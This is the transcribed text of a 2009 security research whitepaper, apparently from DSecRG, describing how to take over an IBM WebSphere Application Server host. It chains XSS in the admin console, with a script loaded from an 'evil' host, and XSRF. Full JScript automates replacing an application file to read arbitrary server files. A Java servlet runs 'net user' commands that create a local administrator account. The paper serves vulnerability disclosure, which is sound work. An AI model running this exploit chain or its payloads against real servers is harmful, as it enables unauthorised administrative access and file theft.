Penetration from application down to OS



Similar documents
Penetration: from Application down to OS

1. Introduction. 2. Web Application. 3. Components. 4. Common Vulnerabilities. 5. Improving security in Web applications

Web Application Report

(WAPT) Web Application Penetration Testing

WEB SECURITY CONCERNS THAT WEB VULNERABILITY SCANNING CAN IDENTIFY

EVALUATION ONLY. WA2088 WebSphere Application Server 8.5 Administration on Windows. Student Labs. Web Age Solutions Inc.

Magento Security and Vulnerabilities. Roman Stepanov

How to break in. Tecniche avanzate di pen testing in ambito Web Application, Internal Network and Social Engineering

INTRODUCTION TO WEB TECHNOLOGY

Attack Vector Detail Report Atlassian

FINAL DoIT v.4 PAYMENT CARD INDUSTRY DATA SECURITY STANDARDS APPLICATION DEVELOPMENT AND MAINTENANCE PROCEDURES

3. Broken Account and Session Management. 4. Cross-Site Scripting (XSS) Flaws. Web browsers execute code sent from websites. Account Management

Using Free Tools To Test Web Application Security

MANAGED SECURITY TESTING

Web Container Components Servlet JSP Tag Libraries

JVA-122. Secure Java Web Development

Java EE Introduction, Content. Component Architecture: Why and How Java EE: Enterprise Java

Lecture 11 Web Application Security (part 1)

We protect you applications! No, you don t. Digicomp Hacking Day 2013 May 16 th 2013

Adobe Systems Incorporated

Client logo placeholder XXX REPORT. Page 1 of 37

TECHNICAL AUDITS FOR CERTIFYING EUROPEAN CITIZEN COLLECTION SYSTEMS

WHITE PAPER FORTIWEB WEB APPLICATION FIREWALL. Ensuring Compliance for PCI DSS 6.5 and 6.6

Web Application Vulnerability Testing with Nessus

Columbia University Web Security Standards and Practices. Objective and Scope

ArcGIS Server Security Threats & Best Practices David Cordes Michael Young

Web Vulnerability Assessment Report

Where every interaction matters.

WHITE PAPER. FortiWeb Web Application Firewall Ensuring Compliance for PCI DSS 6.5 and 6.6

WHITE PAPER. FortiWeb and the OWASP Top 10 Mitigating the most dangerous application security threats

Developing an EJB3 Application. on WebSphere 6.1. using RAD 7.5

Out of the Fire - Adding Layers of Protection When Deploying Oracle EBS to the Internet

Cross Site Scripting in Joomla Acajoom Component

PA165 - Lab session - Web Presentation Layer

Check list for web developers

Finding and Preventing Cross- Site Request Forgery. Tom Gallagher Security Test Lead, Microsoft

Certified Secure Web Application Security Test Checklist

FortiWeb 5.0, Web Application Firewall Course #251

Enterprise Content Management System Monitor. How to deploy the JMX monitor application in WebSphere ND clustered environments. Revision 1.

Guidelines for Web applications protection with dedicated Web Application Firewall

Information Technology Policy

Web Application Hacking (Penetration Testing) 5-day Hands-On Course

Forward proxy server vs reverse proxy server

State of The Art: Automated Black Box Web Application Vulnerability Testing. Jason Bau, Elie Bursztein, Divij Gupta, John Mitchell

How to complete the Secure Internet Site Declaration (SISD) form

MatriXay WEB Application Vulnerability Scanner V Overview. (DAS- WEBScan ) The best WEB application assessment tool

Secure Web Development Teaching Modules 1. Security Testing. 1.1 Security Practices for Software Verification

Data Breaches and Web Servers: The Giant Sucking Sound

What is Web Security? Motivation

Web Application Threats and Vulnerabilities Web Server Hacking and Web Application Vulnerability

Multiple vulnerabilities in Apache Foundation Struts 2 framework. Csaba Barta and László Tóth

Hack Proof Your Webapps

Web application security: automated scanning versus manual penetration testing.

PCI-DSS and Application Security Achieving PCI DSS Compliance with Seeker

DFW INTERNATIONAL AIRPORT STANDARD OPERATING PROCEDURE (SOP)

Database Applications Recitation 10. Project 3: CMUQFlix CMUQ s Movies Recommendation System

ASP.NET MVC Secure Coding 4-Day hands on Course. Course Syllabus

FINAL DoIT v.8 APPLICATION SECURITY PROCEDURE

Enterprise Content Management System Monitor 5.1 Security Considerations Revision CENIT AG Brandner, Marc

Cyber Security Workshop Ethical Web Hacking

Webapps Vulnerability Report

Is Drupal secure? A high-level perspective on web vulnerabilities, Drupal s solutions, and how to maintain site security

Penetration Testing with Kali Linux

Exploiting Local File Inclusion in A Co-Hosting Environment

Last update: February 23, 2004

Web Application Security

Installing and Configuring DB2 10, WebSphere Application Server v8 & Maximo Asset Management

Vulnerability Assessment and Penetration Testing

White Paper Secure Reverse Proxy Server and Web Application Firewall

2013 MONITORAPP Co., Ltd.

How To Understand The Architecture Of Java 2Ee, J2Ee, And J2E (Java) In A Wordpress Blog Post

Java Servlet Tutorial. Java Servlet Tutorial

IBM WebSphere Application Server V8.5 lab Basic Liberty profile administration using the job manager

ACI Commerce Gateway Hosted Payment Page Guide

IBM Security QRadar Vulnerability Manager Version User Guide

How To Ensure That Your Computer System Is Safe

Advanced Web Technology 10) XSS, CSRF and SQL Injection 2

Application Security Testing. Erez Metula (CISSP), Founder Application Security Expert

Application Security Testing. Generic Test Strategy

ACM Crossroads Student Magazine The ACM's First Electronic Publication

Sitefinity Security and Best Practices

Web App Security Audit Services

Different ways to guess Oracle database SID

Web application security

2. Follow the installation directions and install the server on ccc

FileMaker Server 15. Getting Started Guide

Creating Java EE Applications and Servlets with IntelliJ IDEA

Common Security Vulnerabilities in Online Payment Systems

Using Nessus In Web Application Vulnerability Assessments

Web Application Security Assessment and Vulnerability Mitigation Tests

Sichere Webanwendungen mit Java

Workday Mobile Security FAQ

OWASP and OWASP Top 10 (2007 Update) OWASP. The OWASP Foundation. Dave Wichers. The OWASP Foundation. OWASP Conferences Chair

Still Aren't Doing. Frank Kim

Enterprise Application Security Workshop Series

Hardening Moodle. Concept and Realization of a Security Component in Moodle. a project by

EVALUATING COMMERCIAL WEB APPLICATION SECURITY. By Aaron Parke

ITG Software Engineering

Barracuda Web Site Firewall Ensures PCI DSS Compliance

Transcription:

April 8, 2009 Penetration from application down to OS Getting OS access using IBM Websphere Application Server vulnerabilities Digitаl Security Research Group (DSecRG) Stanislav Svistunovich research@dsecrg.com www.dsecrg.com

Table of contents Introduction... 3 Description of Websphere Application Server... 4 ISC Admin Console... 6 XSS in ISC Admin Console... 7 XSRF in ISC Admin Console... 9 Reading arbitrary file on server... 9 Executing arbitrary code on server... 13 Conclusion... 17 Links... 18 About us... 19 2

Introduction This whitepaper opens a series of publications describing various ways of obtaining access to the server operating system, using vulnerabilities in popular business applications which meet in the corporate environment. In this article describes ways of obtaining access to the server operating system through vulnerabilities in IBM Websphere application server. 3

Description of Websphere Application Server Websphere Application Server (WAS) is designed to set up, operate and integrate electronic business applications across multiple computing platforms, using Java-based Web technologies. It includes both the run-time components and the tools to develop applications, that will run on WAS and supports SOA and non-soa environments. WAS is built using open standards such as Java EE, XML, and Web Services. Administration WAS is carried out through special web-interface Integrated Solution Console (ISC). ISC admin console Connection to ISC can be carried out on two protocols: HTTP (port by default: 9060) and SSL (port by default: 9043). However in standard installation WAS 7.0 connection to ISC is carried out only on SSL protocol and from port 9060 is placed the redirection on port 9043. 4

Together with WAS can be installed the gallery of samples realizing interaction with various services in the environment of application server. WAS Samples By default, the gallery and all examples are put on port 9080. If it is occupied, the following port is used. After installation WAS only one example is accessible WebSphere Plants representing the interface of the web store. Other examples are installed separately through the command line on the server. 5

ISC Admin Console Access to ISC is carried out by input ID of the user and the password which are specified at installation WAS and have no default. The information about current session is stored in browser cookie and not anchored to computer IP-address. ISC, besides administration of server, allows controlling users and security settings. But the greatest interest represents the interface of control the applications, allowing to load new applications and also to change already installed. Thus, in the presence of the vulnerability, allowing to get access to ISC, it is possible to get further access to the server operating system. And such vulnerability exists. 6

XSS in ISC Admin Console ISC is prone to a cross-site scripting vulnerability. Remote attacker can inject XSS in URL string. Exploiting this issue allow a remote attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of ISC Admin Console (see DSecRG advisory about IBM Websphere Application Server multiple XSS vulnerabilities). XSS in ISC Admin Console URL string Note that the XSS code in URL string cannot contain blanks. For execution difficult scenarios, the code of the scenario is better loading from the remote server. See example: https://[server]:9043/ibm/console/<script/src=http://evil/xss.js></script> for HTTPS and http://[server]:9060/ibm/console/<script/src=http://evil/xss.js></script> for HTTP. As it has already been told, current session of the user is not anchored to computer IPaddress. Thus, obtaining administrator cookie is the main purpose. For this better use HTTP 7

protocol, differently before execution of the scenario administrator will receive the warning message. The warning message in IE at SSL protocol usage After obtaining administrator cookie they can be used for access to the current session of administrator and to all ISC functions. But suppose that the current session of administrator has been closed and to get access to ISC not possible. Let's look what else vulnerabilities exist in WAS. 8

XSRF in ISC Admin Console Also ISC is prone to a cross-site request-forgery vulnerability (XSRF or CSRF). This issue allows to perform certain administration actions via HTTP requests without performing any validity checks to verify the requests. Let's look what we can do. Reading arbitrary file on server The control interface of applications allows at creation or change already installed applications to load files not only from the local computer. Also administrator can load files from the remote server on which WAS is installed using remote file system browser. WAS file system any file. In this browser hidden files are not visible, but knowing the full path it is possible to load 9

The most convenient to make changes in DefaultApplication application installed by default and accessible on port 9080. For this purpose need to select 'Update' application. Installed applications And then use 'Replace or add a single file' interface allows not to make additional customizations of the application. 10

If simply load file in application folder, it will not be accessible from remote, therefore it is necessary to replace one of existing files. Better make changes in HitCount module which is not used in business process. For this purpose it is possible to replace file HitCount.jsp which is in DefaultWebApplication.war folder. Replace HitCount.jsp with boot.ini 11

After saving changes in the server configuration, the file will be accessible on port 9080: http://[server]:9080/hitcount Content of boot.ini file And now a question: how the found vulnerability in ISC can help us? XSRF allows to make all of this operations automatically. For this purpose it is enough to give administrator the page containing a necessary code of the scenario. Thus, it is possible to read any file on server. Example Jscript code: var objhttp = new ActiveXObject('MSXML2.XMLHTTP'); objhttp.open("get","../../../../../navigatorcmd.do?forwardname=applicationdep loyment.content.main&wsc=true", false); objhttp.send(null); objhttp.open("post","../../../../../collectionbutton.do",false); objhttp.setrequestheader("content-type", "application/x-www-formurlencoded"); objhttp.send("button.update=update&definitionname=applicationdeployment.colle ction.buttons.panel&buttoncontexttype=applicationdeployment&selectedobjectids =DefaultApplication.ear%2Fdeployments%2FDefaultApplication"); objhttp.open("post","../../../../../upload.do",false); objhttp.setrequestheader("content-type", "application/x-www-formurlencoded"); 12

objhttp.send("typeradiobutton=file&fileuri=defaultwebapplication.war%5chitcou nt.jsp&fileradiobutton=fileserver&remotefilefilepath=c:%5cboot.ini&nextaction =Next"); objhttp.open("post","../../../../../updateconf.do",false); objhttp.setrequestheader("content-type", "application/x-www-formurlencoded"); objhttp.send("appmanagement.button.confirm.ok=ok"); objhttp.open("get","../../../../../syncworkspace.do?saveaction=save&directsav e=true", false); objhttp.send(null); window.location = "../../../../../login.do?action"; Using XSS vulnerability, inject this code on page of the WAS server. For universality the requests in example code are used relative paths, thus directory traversal is necessary to compensate amount of slashes used in URL string with XSS. This variant of code for URL string: https://[server]:9043/ibm/console/<script/src=http://evil/xss.js></script> Also at a script writing it is necessary to consider that URL string in WAS is case-sensitive characters. Executing arbitrary code on server Applications in WAS are written on Java that allows to execute any code on server, if to load the executable code as application. To make it the attacker need immediate access to ISC interface, but there is also other way. In samples gallery there is an application allowing to upload a file on server, using web services JAX-WS. Sample MTOM shows application SOAP Message Transmission Optimization Mechanism (MTOM) for sending and obtaining of binary files. This example is not installed by default, however it can be present at working environment. To check up its presence see this URL: http://[server]:9080/wssamplemtom/demo Using this example it is possible to upload any file which will be saved in the profile folder of server applications. By default it: C:\Program Files\IBM\WebSphere\AppServer\profiles\AppSrv01\ To find out path to the profile see DefaultApplication application Snoop module. The module is installed by default and is accessible to this URL: http://[server]:9080/snoop After uploading file on server, it is necessary to place file in one of applications folder, using the described method by XSRF vulnerability. Besides, better make changes in DefaultApplication application HitCount module. First create file HitCount.java. Example: 13

import java.io.*; import java.util.*; import javax.servlet.servletexception; import javax.servlet.http.httpservlet; import javax.servlet.http.httpservletrequest; import javax.servlet.http.httpservletresponse; public class HitCount extends HttpServlet { public void doget(httpservletrequest request, HttpServletResponse response) throws ServletException, IOException { PrintWriter out = response.getwriter(); try { Process proc; proc = Runtime.getRuntime().exec("cmd.exe /c net user WAS 123qweASD /add"); proc = Runtime.getRuntime().exec("cmd.exe /c net localgroup Administrators WAS /add"); proc = Runtime.getRuntime().exec("cmd.exe /c net localgroup Администраторы WAS /add"); } catch (IOException e) {} } } out.println("<html>" + "<head><title> Pwned </title></head>" + "<body><h3>pwned" + "</body></html>"); out.close(); In this example on the server will be created WAS user and then added to local administrators group. For universality, the example will work both on English and on Russian version of Windows. 14

After compiling file in HitCount.class, it is necessary to upload file on server using the sample MTOM from gallery. Uploading file on server using MTOM Sample Now need to replace default HitCount.class file which is in folder DefaultWebApplication.war\WEB-INF\classes\ on loaded by us on server. It can be made, using method of reading files on server through XSRF vulnerability. In Jscript code it is necessary to change paths to files according to location of the file loaded by us and HitCount.class file of HitCount module. After administrator will open reference with our scenario HitCount.class file will be changed. To execute code use HitCount module: http://[server]:9080/hitcount 15

And on WAS server local administrator will be created. On server has been added user WAS with the local administrator rights Note that by default WAS server service is started on behalf of system account SYSTEM. Thus, complete administrative access has been obtained to server on which WAS is installed. 16

Conclusion XSS and XSRF vulnerabilities are rather extended among web-applications and can represent a serious problem for safety of server. Having considered found vulnerabilities in IBM Websphere Application Server, it has been shown, how it is possible to use them for obtaining administrative access not only to the application server, but also the operating system on server. 17

Links 1. DSecRG Advisory IBM Websphere Application Server multiple XSS vulnerabilities http://dsecrg.com/pages/vul/show.php?id=113 2. Article "Hacking a Websphere Application Server" http://www.giac.org/certified_professionals/practicals/gcih/681.php 3. The Cross-Site Request Forgery (CSRF/XSRF) FAQ http://www.cgisecurity.com/csrf-faq.html 18

About us Digital Security is one of the leading IT security companies in CEMEA, providing information security consulting, audit and penetration testing services, risk analysis and ISMSrelated services and certification for ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses on application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website. Contact: research@dsecrg.com http://www.dsecrg.com 19